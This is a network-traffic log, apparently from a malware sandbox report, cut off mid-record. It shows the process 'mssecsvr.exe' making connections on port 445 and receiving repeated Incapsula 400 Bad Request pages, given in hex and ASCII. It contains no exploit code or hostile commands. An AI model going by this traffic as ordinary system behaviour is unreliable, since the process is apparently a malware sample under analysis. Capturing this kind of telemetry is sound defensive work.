64 65 6e 74 20 49 44 3a 20 30 2d 33 31 31 33 35 35 39 32 33 36 35 38 38 38 31 33 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-6501644-0%200NNN%20RT%281658338373201%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-31135592365888131&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-31135592365888131</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	45.60.207.9	445	192.168.2.7	55363	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:54.241915941 CEST	11002	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 5-11970699-0 0NNN RT(1658338373782 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 31 31 39 37 30 36 39 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 33 37 38 32 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 36 31 34 33 31 30 32 34 36 39 38 35 32 36 38 35 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 36 31 34 33 31 30 32 34 36 39 38 35 32 36 38 35 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-11970699-0%200NNN%20RT%281658338373782%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-61431024698526853&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-61431024698526853</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	45.60.207.9	445	192.168.2.7	55554	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:57.364557981 CEST	11183	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 8-24982438-0 0NNN RT(1658338376904 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 38 2d 32 34 39 38 32 34 33 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 36 39 30 34 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 33 33 32 37 37 31 35 31 37 32 36 36 36 38 39 33 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 33 33 32 37 37 31 35 31 37 32 36 36 36 38 39 33 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=8-24982438-0%200NNN%20RT%281658338376904%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-133277151726668936&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-133277151726668936</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	50202	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	45.60.207.10	445	192.168.2.7	55607	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:57.720407963 CEST	11186	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 12-69367360-0 0NNN RT(1658338377090 1) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 36 39 33 36 37 33 36 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 37 37 30 39 30 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 36 31 35 31 37 32 31 30 30 36 39 39 31 35 30 30 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 36 31 35 31 37 32 31 30 30 36 39 39 31 35 30 30 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-69367360-0%200NNN%20RT%281658338377090%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-346151721006991500&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-346151721006991500</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	45.60.207.10	445	192.168.2.7	55722	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:00.912653923 CEST	11193	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 13-86822763-0 0NNN RT(1658338380281 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 33 2d 38 36 38 32 32 37 36 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 30 32 38 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 34 32 33 35 31 33 32 32 31 36 39 38 33 35 37 33 38 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 34 32 33 35 31 33 32 32 31 36 39 38 33 35 37 33 38 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=13-86822763-0%200NNN%20RT%281658338380281%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-423513221698357389&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-423513221698357389</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	45.60.207.11	445	192.168.2.7	55770	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:01.058186054 CEST	11196	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 4-17536502-0 0NNN RT(1658338380803 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 34 2d 31 37 35 33 36 35 30 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 30 38 30 33 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 39 33 39 31 30 37 31 34 30 39 32 35 35 32 36 34 34 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 39 33 39 31 30 37 31 34 30 39 32 35 35 32 36 34 34 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=4-17536502-0%200NNN%20RT%281658338380803%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-93910714092552644&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-93910714092552644</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	45.60.207.11	445	192.168.2.7	55939	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:04.102088928 CEST	11326	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 5-20378181-0 0NNN RT(1658338383847 2) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 32 30 33 37 38 31 38 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 33 38 34 37 25 32 30 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 30 34 38 32 35 34 33 32 38 37 37 34 39 38 38 32 31 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 30 34 38 32 35 34 33 32 38 37 37 34 39 38 38 32 31 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-20378181-0%200NNN%20RT%281658338383847%202%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-104825432877498821&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-104825432877498821</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	45.60.207.12	445	192.168.2.7	55950	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:33:04.212414026 CEST	11329	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 10-76068158-0 0NNN RT(1658338383375 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 37 36 30 36 38 31 35 38 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 38 33 33 37 35 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 34 30 39 39 30 32 38 34 34 30 36 36 39 